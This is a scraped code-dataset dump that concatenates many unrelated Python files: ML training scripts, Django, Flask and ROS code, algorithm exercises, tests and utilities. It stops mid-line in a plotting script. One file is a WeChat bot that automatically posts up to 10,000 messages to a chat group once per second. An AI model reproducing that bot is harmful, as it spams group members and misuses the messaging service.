trade_day_list\nresult.to_csv('day_return.csv')\n","sub_path":"futureHF/standard_backtest/day_return.py","file_name":"day_return.py","file_ext":"py","file_size_in_byte":11949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"619889636","text":"import time\nimport zmq\ncontext = zmq.Context()\nsocket = context.socket(zmq.SUB)\nsocket.setsockopt_string(zmq.SUBSCRIBE, \"\")\nprint(\"Subscribing to \")\nsocket.connect('tcp://127.0.0.1:2000')\nwhile True:\n message = socket.recv()\n print(\"Received from %s\" % message.decode('utf-8'))\n","sub_path":"TEST/sub.py","file_name":"sub.py","file_ext":"py","file_size_in_byte":284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"350194743","text":"#!/usr/bin/env python\n\n# Create and publish a static message of a Flight Envelope\n# Good for FE testing purposes.\n\nimport os\nimport json\n\nimport rospy\nimport rospkg\n\nfrom uav_ftc.msg import FlightEnvelopeEllipsoid\n\n\ndef build_flight_envelope(fe_dict):\n msg = FlightEnvelopeEllipsoid()\n msg.header.stamp = rospy.Time.now()\n msg.Va_max = fe_dict[\"Va_max\"]\n msg.Va_min = fe_dict[\"Va_min\"]\n msg.gamma_max = fe_dict[\"gamma_max\"]\n msg.gamma_min = fe_dict[\"gamma_min\"]\n msg.R_min = fe_dict[\"R_min\"]\n msg.el_A = fe_dict[\"el_A\"]\n msg.el_B = fe_dict[\"el_B\"]\n msg.el_C = fe_dict[\"el_C\"]\n msg.el_D = fe_dict[\"el_D\"]\n msg.el_E = fe_dict[\"el_E\"]\n msg.el_F = fe_dict[\"el_F\"]\n msg.el_G = fe_dict[\"el_G\"]\n msg.el_H = fe_dict[\"el_H\"]\n msg.el_I = fe_dict[\"el_I\"]\n msg.el_J = fe_dict[\"el_J\"]\n\n return msg\n\n\nif __name__ == '__main__':\n\n rospy.init_node('flight_envelope_pub', anonymous=True)\n rospy.loginfo('Flight Envelope publisher node up')\n r = rospy.Rate(1)\n fe_pub = rospy.Publisher('flight_envelope', FlightEnvelopeEllipsoid, queue_size=1) # Setup FE publisher\n\n rospack = rospkg.RosPack()\n package_path = rospack.get_path('uav_ftc')\n rospy.loginfo('Package found at {0}'.format(package_path))\n\n # Specify flight envelope to use\n fe_file = rospy.get_param('~fe', 'none')\n\n\n if fe_file != 'none':\n\n rospy.loginfo('Using Flight Envelope: {0}'.format(fe_file))\n full_filename = os.path.join(package_path, 'data/flight_envelopes', fe_file+'.json')\n rospy.loginfo('Full file name: {0}'.format(full_filename))\n\n with open(full_filename) as fh:\n try:\n json_dict = json.load(fh)\n except ValueError as e:\n rospy.logerr('Malformed json Flight Envelope file')\n\n fe = build_flight_envelope(json_dict)\n\n while not rospy.is_shutdown():\n fe_pub.publish(fe)\n r.sleep()\n\n else:\n rospy.logwarn('No flight envelope description passed')\n","sub_path":"scripts/fe_publisher.py","file_name":"fe_publisher.py","file_ext":"py","file_size_in_byte":2013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"82223914","text":"import sys\nsys.stdin = open('input_3124.txt', 'r')\n\nfor tc in range(int(input())):\n V, E = map(int, input().split())\n Edge = [tuple(map(int, input().split())) for _ in range(E)]\n\n Edge.sort(key=lambda x: x[2])\n\n p = [x for x in range(V + 1)]\n def find_set(x):\n if x != p[x]:\n p[x] = find_set(p[x])\n return p[x]\n\n # V - 1 개의 간선을 선택\n MST = []\n cur = 0\n while len(MST) < V - 1:\n u, v, w = Edge[cur]\n a = find_set(u); b = find_set(v)\n if a != b:\n p[b] = a\n MST.append((u, v, w))\n cur += 1\n\n answer = 0\n for e in MST:\n answer += e[2]\n \n print('#{} {}'.format(tc + 1, answer))","sub_path":"02_algorithm/sw_expert_academy/code_problem/D4/3124.최소 스패닝 트리/3124.py","file_name":"3124.py","file_ext":"py","file_size_in_byte":705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"77973034","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nimport torch\nfrom torch import nn\nfrom torch.autograd import Variable\nfrom torch.utils.data import DataLoader\nfrom torchvision import transforms\nfrom torchvision import datasets\nimport torch.nn.functional as F\nimport front_end\nfrom network import Conv2d\nimport front_end\nfrom LSTM import Rnn\n\nclass nose_end(nn.Module):\n def __init__(self):\n super(nose_end, self).__init__()\n\n self.conv1 = Conv2d(512, 256, 1, stride=1, padding=0)\n self.conv2 = Conv2d(256, 128, 1, stride=1, padding=0)\n self.conv3 = Conv2d(128, 1, 1, stride=1, padding=0)\n self.Rnn = Rnn(32,256,3)\n for param in self.Rnn.parameters():\n param.requires_grad = True\n\n\n def forward(self, n1,n2,n3):\n w = n1.shape[2]\n h = n1.shape[3]\n out1 = self.conv1(n1)\n out1_1 = self.conv2(out1)\n out1_2 = self.conv3(out1_1)\n out1_3 = out1_2.view(-1,1,w*h)\n\n out2 = self.conv1(n2)\n out2_1 = self.conv2(out2)\n out2_2 = self.conv3(out2_1)\n out2_3 = out2_2.view(-1,1,w*h)\n\n out3 = self.conv1(n3)\n out3_1 = self.conv2(out3)\n out3_2 = self.conv3(out3_1)\n out3_3 = out3_2.view(-1,1,w*h)\n\n feature = torch.cat((out1_3, out2_3, out3_3), 1)\n out = self.Rnn(feature)\n out = out.view(-1,1,16,16)\n\n return out","sub_path":"Train_FER/nose_end.py","file_name":"nose_end.py","file_ext":"py","file_size_in_byte":1374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"567689775","text":"import random\n\n# eval~\neval('1+2')\neval(\"'hi' + 'a'\")\neval('divmod(4, 3)')\n\n\ncountRight = 0\ncount = 0\nwhile count in range(0,10):\n a = random.randint(1,9)\n b = random.randint(1,9)\n result = a + b\n userInput = int(input('enter your answer %s + %s = ? ' %(a,b)))\n if userInput == result:\n print (\"Good: answer is %d\" %result)\n countRight += 1\n else:\n print(\"wrong answer. The answer is %d\" %result)\n\nprint (\"total point: %d\" %countRight)\n\n\n#oper = ['+', '-','*', '/']\n#op = random.choice(oper)","sub_path":"basic/random.py","file_name":"random.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"193583336","text":"\"\"\"The command for creating a smart list.\"\"\"\nfrom dataclasses import dataclass\nfrom typing import Iterable, Optional\n\nfrom jupiter.core.domain.entity_icon import EntityIcon\nfrom jupiter.core.domain.features import Feature\nfrom jupiter.core.domain.smart_lists.smart_list import SmartList\nfrom jupiter.core.domain.smart_lists.smart_list_name import SmartListName\nfrom jupiter.core.framework.event import EventSource\nfrom jupiter.core.framework.use_case import (\n ProgressReporter,\n UseCaseArgsBase,\n UseCaseResultBase,\n)\nfrom jupiter.core.use_cases.infra.use_cases import (\n AppLoggedInMutationUseCase,\n AppLoggedInUseCaseContext,\n)\n\n\n@dataclass\nclass SmartListCreateArgs(UseCaseArgsBase):\n \"\"\"PersonFindArgs.\"\"\"\n\n name: SmartListName\n icon: Optional[EntityIcon] = None\n\n\n@dataclass\nclass SmartListCreateResult(UseCaseResultBase):\n \"\"\"SmartListCreate result.\"\"\"\n\n new_smart_list: SmartList\n\n\nclass SmartListCreateUseCase(\n AppLoggedInMutationUseCase[SmartListCreateArgs, SmartListCreateResult]\n):\n \"\"\"The command for creating a smart list.\"\"\"\n\n @staticmethod\n def get_scoped_to_feature() -> Iterable[Feature] | Feature | None:\n \"\"\"The feature the use case is scope to.\"\"\"\n return Feature.SMART_LISTS\n\n async def _perform_mutation(\n self,\n progress_reporter: ProgressReporter,\n context: AppLoggedInUseCaseContext,\n args: SmartListCreateArgs,\n ) -> SmartListCreateResult:\n \"\"\"Execute the command's action.\"\"\"\n workspace = context.workspace\n\n async with self._domain_storage_engine.get_unit_of_work() as uow:\n smart_list_collection = (\n await uow.smart_list_collection_repository.load_by_parent(\n workspace.ref_id,\n )\n )\n\n new_smart_list = SmartList.new_smart_list(\n smart_list_collection_ref_id=smart_list_collection.ref_id,\n name=args.name,\n icon=args.icon,\n source=EventSource.CLI,\n created_time=self._time_provider.get_current_time(),\n )\n\n new_smart_list = await uow.smart_list_repository.create(new_smart_list)\n await progress_reporter.mark_created(new_smart_list)\n\n return SmartListCreateResult(new_smart_list=new_smart_list)\n","sub_path":"src/core/jupiter/core/use_cases/smart_lists/create.py","file_name":"create.py","file_ext":"py","file_size_in_byte":2335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"47702236","text":"\"\"\"\nTrain RNN models on sequential MNIST, where inputs are processed pixel by pixel.\n\nResults should be reported by evaluating on the test set the model with the best performance on the validation set.\nTo avoid storing checkpoints and having a separate evaluation script, this script evaluates on both validation and\ntest set after every epoch.\n\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import print_function\n\nimport tensorflow as tf\nimport tensorflow.contrib.layers as layers\n\nfrom tensorflow.examples.tutorials.mnist import input_data\n\nfrom util.misc import *\nfrom util.graph_definition import *\n\n# Task-independent flags\ncreate_generic_flags()\n\n# Task-specific flags\ntf.app.flags.DEFINE_string('data_path', '/tmp/MNIST', 'Path where the MNIST data will be stored.')\n\nFLAGS = tf.app.flags.FLAGS\n\n# Constants\nOUTPUT_SIZE = 10\nSEQUENCE_LENGTH = 784\nVALIDATION_SAMPLES = 5000\nNUM_EPOCHS = 600\n\n# Load data\nmnist = input_data.read_data_sets(FLAGS.data_path, one_hot=False, validation_size=VALIDATION_SAMPLES)\nITERATIONS_PER_EPOCH = int(mnist.train.num_examples / FLAGS.batch_size)\nVAL_ITERS = int(mnist.validation.num_examples / FLAGS.batch_size)\nTEST_ITERS = int(mnist.test.num_examples / FLAGS.batch_size)\n\n\ndef train():\n samples_raw = tf.placeholder(tf.float32, [None, None]) # (batch, 28, 28)\n samples = tf.expand_dims(samples_raw, -1) # (batch, 28*28, 1)\n ground_truth = tf.placeholder(tf.int64, [None]) # (batch)\n\n cell, initial_state = create_model(model=FLAGS.model,\n num_cells=[FLAGS.rnn_cells] * FLAGS.rnn_layers,\n batch_size=FLAGS.batch_size)\n\n rnn_outputs, rnn_states = tf.nn.dynamic_rnn(cell, samples, dtype=tf.float32, initial_state=initial_state)\n\n # Split the outputs of the RNN into the actual outputs and the state update gate\n rnn_outputs, updated_states = split_rnn_outputs(FLAGS.model, rnn_outputs)\n\n out = layers.linear(inputs=rnn_outputs[:, -1, :], num_outputs=OUTPUT_SIZE)\n\n # Compute cross-entropy loss\n cross_entropy_per_sample = tf.nn.sparse_softmax_cross_entropy_with_logits(logits=out, labels=ground_truth)\n cross_entropy = tf.reduce_mean(cross_entropy_per_sample)\n\n # Compute accuracy\n accuracy = tf.reduce_mean(tf.cast(tf.equal(tf.argmax(out, 1), ground_truth), tf.float32))\n\n # Compute loss for each updated state\n budget_loss = compute_budget_loss(FLAGS.model, cross_entropy, updated_states, FLAGS.cost_per_sample)\n\n # Combine all losses\n loss = cross_entropy + budget_loss\n\n # Optimizer\n opt, grads_and_vars = compute_gradients(loss, FLAGS.learning_rate, FLAGS.grad_clip)\n train_fn = opt.apply_gradients(grads_and_vars)\n\n sess = tf.Session()\n\n sess.run(tf.global_variables_initializer())\n\n try:\n for epoch in range(NUM_EPOCHS):\n for iteration in range(ITERATIONS_PER_EPOCH):\n # Generate new batch and perform SGD update\n x, y = mnist.train.next_batch(FLAGS.batch_size)\n sess.run([train_fn], feed_dict={samples_raw: x, ground_truth: y})\n\n # Evaluate on validation data\n valid_accuracy, valid_steps = 0, 0\n for _ in range(VAL_ITERS):\n valid_x, valid_y = mnist.validation.next_batch(FLAGS.batch_size)\n valid_iter_accuracy, valid_used_inputs = sess.run(\n [accuracy, updated_states],\n feed_dict={\n samples_raw: valid_x,\n ground_truth: valid_y})\n valid_accuracy += valid_iter_accuracy\n if valid_used_inputs is not None:\n valid_steps += compute_used_samples(valid_used_inputs)\n else:\n valid_steps += SEQUENCE_LENGTH\n valid_accuracy /= VAL_ITERS\n valid_steps /= VAL_ITERS\n\n # Evaluate on test data\n test_accuracy, test_steps = 0, 0\n for _ in range(TEST_ITERS):\n test_x, test_y = mnist.test.next_batch(FLAGS.batch_size)\n test_iter_accuracy, test_used_inputs = sess.run(\n [accuracy, updated_states],\n feed_dict={\n samples_raw: test_x,\n ground_truth: test_y})\n test_accuracy += test_iter_accuracy\n if test_used_inputs is not None:\n test_steps += compute_used_samples(test_used_inputs)\n else:\n test_steps += SEQUENCE_LENGTH\n test_accuracy /= TEST_ITERS\n test_steps /= TEST_ITERS\n\n print(\"Epoch %d/%d, \"\n \"validation accuracy: %.2f%%, \"\n \"validation samples: %.2f (%.2f%%), \"\n \"test accuracy: %.2f%%, \"\n \"test samples: %.2f (%.2f%%)\" % (epoch + 1,\n NUM_EPOCHS,\n 100. * valid_accuracy,\n valid_steps,\n 100. * valid_steps / SEQUENCE_LENGTH,\n 100. * test_accuracy,\n test_steps,\n 100. * test_steps / SEQUENCE_LENGTH))\n except KeyboardInterrupt:\n pass\n\n\ndef main(argv=None):\n print_setup()\n train()\n\n\nif __name__ == '__main__':\n tf.app.run()\n","sub_path":"src/03_sequential_mnist.py","file_name":"03_sequential_mnist.py","file_ext":"py","file_size_in_byte":5536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"573058498","text":"from braces.views import LoginRequiredMixin, GroupRequiredMixin\nfrom django.core.urlresolvers import reverse_lazy\nfrom django.http import Http404, HttpResponse\nfrom django.shortcuts import render\nfrom django.views.generic import ListView, DetailView, View, TemplateView\nfrom apps.results.models import Result\nfrom apps.users.mixins import DataExtraMixin\n\n\nclass ShowResultsListView(GroupRequiredMixin, DataExtraMixin, ListView):\n model = Result\n template_name = 'results/show_results.html'\n context_object_name = 'results'\n group_required = ['Teacher', 'Student']\n login_url = reverse_lazy('users:login')\n\n def get_context_data(self, **kwargs):\n context = super(ShowResultsListView, self).get_context_data(**kwargs)\n context.update({'title': 'Mostrar Resultados'})\n return context\n\n def get_queryset(self):\n try:\n if self.get_group() == 'Student':\n self.queryset = Result.objects.filter(student=self.request.user, is_terminated=True)\n elif self.get_group() == 'Teacher':\n self.queryset = Result.objects.filter(exam__teacher=self.request.user, is_terminated=True)\n else:\n pass\n except Result.DoesNotExist:\n return Http404()\n return super(ShowResultsListView, self).get_queryset()\n\n\nclass ShowResultDetailView(GroupRequiredMixin, DataExtraMixin, DetailView):\n model = Result\n template_name = 'results/show_result.html'\n context_object_name = 'result'\n group_required = ['Teacher', 'Student']\n login_url = reverse_lazy('users:login')\n\n def get_context_data(self, **kwargs):\n context = super(ShowResultDetailView, self).get_context_data(**kwargs)\n context.update({'title': 'Mostrar Resultado'})\n return context","sub_path":"apps/results/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"461976197","text":"#1600 400\nimport json\n\ntrain = open(\"train_data.dat\",\"w\")\ntest = open(\"test_data.dat\",\"w\")\n\n\nfilename = open(\"hi.data\",\"r\")\nstart = 0\n\nwhile True:\n line = filename.readline()\n if line == '' or start>2000:\n break\n if start < 1600:\n train.write(line)\n elif start < 2000:\n test.write(line)\n start = start + 1\nfilename.close()\ntrain.close()\ntest.close()\n","sub_path":"Categoriser/Naive_bayes/divide_data.py","file_name":"divide_data.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"210170836","text":"#!/usr/bin/env python\n# encoding: utf-8\n\n\"\"\"\nGiven a singly linked list L: L0→L1→…→Ln-1→Ln,\nreorder it to: L0→Ln→L1→Ln-1→L2→Ln-2→…\n\nYou must do this in-place without altering the nodes' values.\n\nFor example,\nGiven {1,2,3,4}, reorder it to {1,4,2,3}.\n\"\"\"\n\n# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution(object):\n def reorderList(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: void Do not return anything, modify head in-place instead.\n \"\"\"\n slow = fast = head\n while fast and fast.next:\n slow = slow.next\n fast = fast.next.next\n if fast:\n slow = slow.next\n prev = None\n while slow:\n next = slow.next\n slow.next = prev\n prev = slow\n slow = next\n while prev:\n head.next, head = prev, head.next\n prev.next, prev = head, prev.next\n if head:\n head.next = None\n","sub_path":"Python/143-ReorderList/reorderList.py","file_name":"reorderList.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"519403273","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2018/1/27 上午4:16\n# @Author : wudizhangzhi\n\nimport sys\nimport locale\nfrom logging.handlers import RotatingFileHandler\n\nimport os\n\nlocale.setlocale(locale.LC_ALL, '')\nimport time\n\nsys.path.append('..')\n\n\ndef test_news_detail():\n from news import NewsMixin\n n = NewsMixin()\n print(n.getNewsDetailSchema(2255215))\n\n\nfrom hupu.hupuapp import HupuApp\n\n\ndef test_unicode():\n hupu = HupuApp()\n games = hupu.getGames()\n print(games)\n\n import curses\n win = curses.initscr()\n win.clear()\n win.addstr(0, 0, str(' 我们在一起'))\n win.refresh()\n time.sleep(1)\n curses.endwin()\n\n\ndef test_logger():\n import logging\n log = logging.getLogger('websocket')\n fh = RotatingFileHandler('log.log')\n fh.setLevel(logging.DEBUG)\n\n fh.setFormatter(logging.Formatter(\n '%(asctime)s - %(levelname)s - %(name)s:%(lineno)s: %(message)s'))\n log.addHandler(fh)\n # logger.setLevel(logging.CRITICAL)\n # logger.setLevel(logging.CRITICAL)\n # logger.setLevel(logging.CRITICAL)\n # logger.setLevel(logging.CRITICAL)\n import websocket\n from websocket import _logging\n\n _logging.error('hello')\n\n\ndef test_scoket_print():\n # from hupu.hupulivewebsocket import test\n # test()\n from hupu.messages.messages import Game\n # import sys\n import curses\n #\n def incurses(stdscr):\n stdscr.addstr(0, 0, \"Exiting in \")\n stdscr.addstr(2, 0, \"Hello World from Curses!\")\n for i in range(5, -1, -1):\n stdscr.addstr(0, 11, str(i))\n stdscr.refresh()\n time.sleep(1)\n curses.endwin()\n\n curses.wrapper(incurses)\n # sys.stdout = os.fdopen(sys.stdout.fileno(), 'w', 0)\n sys.stdout = sys.__stdout__\n sys.stderr = sys.__stderr__\n print(\"After curses\")\n # # curses.echo()\n # # curses.reset_shell_mode()\n # # print(sys.stdout)\n # game = Game({'gid': 153735, 'home_name': '勇士', 'away_name': '骑士'})\n # hlws = HupuSocket(game=game, client='008796750504411', host='127.0.0.1', port=5000)\n # hlws.run()\n # #\n # # def get_token():\n # # return ''\n # #\n # # hlws.get_token = get_token\n # # hlws.run()\n i = 0\n while i < 100:\n print('this is a test. {}'.format(i))\n # sys.stdout.write('this is a test. {}'.format(i))\n i += 1\n time.sleep(1)\n\n\ndef test_init():\n hupuapp = HupuApp()\n print(hupuapp.getInit().json())\n\n\nif __name__ == '__main__':\n # test_news_detail()\n # test_unicode()\n # test_logger()\n test_scoket_print()\n # test_init()\n","sub_path":"test/testapi.py","file_name":"testapi.py","file_ext":"py","file_size_in_byte":2610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"303142457","text":"#coding=UTF-8\nimport io\nimport random\nimport sys\nimport itchat\nimport time\nimport urllib.request\n\nitchat.auto_login(hotReload=True)\ndef send_onegroup(msg,gname):\n rooms=itchat.get_chatrooms(update=True)\n rooms=itchat.search_chatrooms(gname)\n if rooms is not None:\n for i in range(10000):\n random1= random.randint(10000,99999)\n username=rooms[0]['UserName']\n if i%3==1:\n msg='Hello hlt! '\n elif i%3==2:\n msg='Hello xzx! '\n else:\n msg='此为程序自动发送,请别踢我! ' \n msg2 = msg+str(random1)\n itchat.send(msg2,toUserName=username)\n time.sleep(1)\n else:\n print('None group found')\n\nif __name__=='__main__':\n content = u'信传研发部'\n content = content.encode('utf-8')\n content = urllib.request.quote(content)\n print(content)\n send_onegroup('hello world!','哈喽')","sub_path":"shifuhelp/python/wechatsendgroup.py","file_name":"wechatsendgroup.py","file_ext":"py","file_size_in_byte":973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"421442510","text":"import requests\r\nfrom wework.base import Base\r\n\r\nclass WeworkAddress(Base):\r\n\r\n # 查询用户信息\r\n def get_information(self,userid:str):\r\n parms={\r\n \"userid\":userid\r\n }\r\n url = \"https://qyapi.weixin.qq.com/cgi-bin/user/get\"\r\n r = self.send(\"GET\",url,params=parms)\r\n return r.json()\r\n\r\n # 添加用户\r\n def create_member(self,userid,name,mobile,department:list):\r\n url = f\"https://qyapi.weixin.qq.com/cgi-bin/user/create\"\r\n data = {\r\n \"userid\": userid,\r\n \"name\": name,\r\n \"mobile\": mobile,\r\n \"department\": department\r\n }\r\n r = self.send(\"POST\",url, json=data)\r\n return r.json()\r\n\r\n # 修改用户\r\n def update_member(self,userid,name):\r\n url = f\"https://qyapi.weixin.qq.com/cgi-bin/user/update\"\r\n data = {\r\n \"userid\": userid,\r\n \"name\": name\r\n }\r\n r = self.send(\"POST\",url, json=data)\r\n return r.json()\r\n\r\n # 删除用户\r\n def delete_member(self,userid):\r\n params={\r\n \"userid\":userid\r\n }\r\n url = f\"https://qyapi.weixin.qq.com/cgi-bin/user/delete\"\r\n r = self.send(\"GET\",url,params=params)\r\n return r.json()","sub_path":"test_lab/test_requests/wework/WeworkAddress.py","file_name":"WeworkAddress.py","file_ext":"py","file_size_in_byte":1260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"128727869","text":"from flask_restful import Resource, reqparse\n\nfrom ..models.participant import ParticipantModel\nfrom ..models.quiz import QuizModel\n\n\nclass Participant(Resource):\n parser = reqparse.RequestParser()\n parser.add_argument(\"quiz_id\", type=str, required=True)\n parser.add_argument(\"name\", type=str, required=True)\n\n def post(self):\n \"\"\"Adds a participant to a quiz.\n\n Quiz id and participant name should be specified in the request body.\n\n Returns:\n The participant added in JSON form.\n \"\"\"\n data = Participant.parser.parse_args()\n participant_obj = ParticipantModel(data[\"quiz_id\"], data[\"name\"])\n\n quiz_obj = QuizModel.find_by_id(data[\"quiz_id\"])\n\n if not quiz_obj:\n return {\"message\": \"Quiz not found\"}, 404\n if quiz_obj.current_round is not None:\n return {\"message\": \"Quiz has already started\"}, 403\n\n try:\n participant_obj.save_to_db()\n except:\n return {\"message\": \"An error occurred inserting the participant.\"}\n\n return participant_obj.json()\n\n def delete(self, id):\n \"\"\"Deletes a participant from a quiz.\n\n Args:\n id: the ID of the participant to be deleted.\n\n Returns:\n A JSON message confirming that the participant is deleted.\n \"\"\"\n participant_obj = ParticipantModel.find_by_id(id)\n\n if participant_obj:\n try:\n participant_obj.delete_from_db()\n except:\n return {\"message\": \"An error occurred deleting the participant\"}\n return {\"message\": \"Participant deleted.\"}\n\n return {\"message\": \"Participant not found\"}, 404\n\n\nclass Participants(Resource):\n parser = reqparse.RequestParser()\n parser.add_argument(\"participants\", type=dict, action=\"append\", required=True)\n\n def get(self, quiz_id):\n \"\"\"Gets a list of participants in a quiz.\n\n Args:\n quiz_id: the ID of the quiz.\n\n Returns:\n A list of participants in JSON form.\n \"\"\"\n participant_obj_list = ParticipantModel.find_all_by_quiz_id(quiz_id)\n\n if participant_obj_list:\n return {\n \"participants\": [\n participant_obj.json() for participant_obj in participant_obj_list\n ]\n }\n\n return {\"message\": \"Quiz not found\"}, 404\n\n def put(self, quiz_id):\n \"\"\"Updates a list of participants in a quiz.\n\n Request body should contain participant objects with updated scores.\n\n Args:\n quiz_id: the ID of the quiz.\n\n Returns:\n A list of updated participants in JSON form.\n \"\"\"\n data = Participants.parser.parse_args()\n participants = data[\"participants\"]\n updated_participant_obj_list = []\n\n for participant in participants:\n participant_obj = ParticipantModel.find_by_id(participant[\"id\"])\n if participant_obj:\n participant_obj.score = participant[\"score\"]\n participant_obj.save_to_db()\n updated_participant_obj_list.append(participant_obj)\n\n return {\n \"participants\": [\n updated_participant_obj.json()\n for updated_participant_obj in updated_participant_obj_list\n ]\n }\n","sub_path":"quiz_app/resources/participant.py","file_name":"participant.py","file_ext":"py","file_size_in_byte":3370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"57556750","text":"#!/usr/bin/python\n# encoding=utf8\nimport numpy as np\nimport unittest\nimport matplotlib.pyplot as plt\n\nclass Test01(unittest.TestCase):\n\n def test_01(self):\n a = np.linspace(2.0, 3.0, num=5)\n print(a) # [ 2. 2.25 2.5 2.75 3. ]\n b = np.linspace(2.0, 3.0, num=5, endpoint=False)\n print(b) # [ 2. 2.2 2.4 2.6 2.8]\n c, step = np.linspace(2.0, 3.0, num=5, retstep=True)\n print(c) # [ 2. 2.25 2.5 2.75 3. ]\n print(step) # 0.25\n def test_02(self):\n N = 8\n y = np.zeros(N)\n x1 = np.linspace(0, 10, N, endpoint=True)\n x2 = np.linspace(0, 10, N, endpoint=False)\n plt.plot(x1, y, 'o')\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"basic/languages/python-19910220/third-party/numpy-reference-1.13/03-routines/array-creation.py","file_name":"array-creation.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"435960315","text":"import os\nfrom os import walk\nfrom app import app\n\ndef getPhotos():\n rootdir = os.getcwd()\n allphotos=[]\n for dirpath, dirname, filename in walk(app.config[\"UPLOAD_FOLDER\"]):\n allphotos += filename\n allphotos.remove(\".gitkeep\")\n return allphotos","sub_path":"app/photos.py","file_name":"photos.py","file_ext":"py","file_size_in_byte":271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"635378199","text":"import sys\n\nfrom pysam import VariantFile\n\ndef is_snp(record):\n if len(record.ref) == 1 and all([len(a) == 1 for a in record.alts]):\n return True\n return False\n\ndef main():\n truth_path = sys.argv[1]\n truth_vcf = VariantFile(truth_path)\n tot = 0\n cn_indels = 0\n biall_indels = 0\n multiall_indels = 0\n for record in truth_vcf:\n if is_snp(record):\n continue\n tot += 1\n if any([alt[0] == '<' for alt in record.alts]):\n cn_indels += 1\n continue\n if len(record.alts) == 1:\n biall_indels += 1\n else:\n multiall_indels += 1\n print(\"Tot\\tBi\\tTri\\tCN\")\n print(tot, biall_indels, multiall_indels, cn_indels, sep=\"\\t\")\n\nif __name__ == '__main__':\n main()\n","sub_path":"nonsnake_scripts/count_indels.py","file_name":"count_indels.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"158620013","text":"#!/nfs/ltdn/disks/ltdn_tcad_disk005/meyavuz/PythonVirtEnv/test2/bin/python\nimport numpy as np\nimport matplotlib.pyplot as plt\n#import seaborn as sns\n#sns.set_style('ticks') # other options: dark, darkgrid (default), white, whitegrid\n\n#import bokeh \n#bokeh.sampledata.download()\n#exit()\nfrom bokeh.layouts import gridplot\nfrom bokeh.plotting import figure, show, output_file\n#from bokeh.sampledata.stocks import AAPL, GOOG, IBM, MSFT\nfrom bokeh.models import LinearAxis, Range1d\n\nimport pandas as pd\n\ndef datetime(x):\n return np.array(x, dtype=np.datetime64)\n\n#df1 = pd.read_excel(\"126_data.xlsx\")\ndf1 = pd.read_excel(\"../Data/data_fromSabriOncu.xlsx\")\n#df1 = df1.fillna(0)\ndf1 = df1.drop(df1.index[len(df1)-4:len(df1)])\n#index = df1['mobilityIndex'].index[df1['mobilityIndex'].apply(np.isnan)]\n#df1\nnonNullIndices = df1[\"mobilityIndex\"].notnull()\n\n# Filter out indices with NaN numbers\nx1 = df1[nonNullIndices][\"year\"]\ny1 = df1[nonNullIndices][\"mobilityIndex\"]\n\np1 = figure(title=\"Capital Mobility and bankinf crises incidences\", plot_width=800, plot_height=600)\np1.extra_y_ranges = {\"y1\": Range1d(start=0, end=1), \"y2\": Range1d(start=0, end=40)}\np1.add_layout(LinearAxis(y_range_name=\"y1\"), 'left')\np1.add_layout(LinearAxis(y_range_name=\"y2\"), 'right')\n\np1.line(x1, y1, line_color=\"black\", y_range_name=\"y1\");\n\n\np1.line(df1[\"year\"], df1[\"threeYearSum\"], color='#33A02C', y_range_name=\"y2\");\n\n\noutput_file(\"sabritest.html\", title=\"sabritest example\")\n#show(gridplot([[p1,p1]], plot_width=400, plot_height=400)) # open a browser\n#show(p1)\n\n#plt.figure(1, figsize=(16,7))\nimport matplotlib.ticker as ticker\ntick_spacing = 10\n\nfig, ax1 =plt.subplots(figsize=(16,7))\n\nax2 = ax1.twinx()\nax2.plot(df1[\"year\"], df1[\"threeYearSum\"], color='b', lw=2);\n#ax1.plot(x1, y1, 'g--', marker='o', markersize=10, facecolors='none', lw=2);\nax1.plot(x1, y1, 'go--', markerfacecolor='none', markeredgecolor='r', markersize =12, lw=2);\nax1.xaxis.set_major_locator(ticker.MultipleLocator(tick_spacing))\n#ax1.text(x1[1],y[1],'1825')\n\nax1.set_xlabel('Yil');\nax1.set_ylabel('Indeks', color='g');\nax2.set_ylabel('Yuzde', color='b');\n\n#axes = 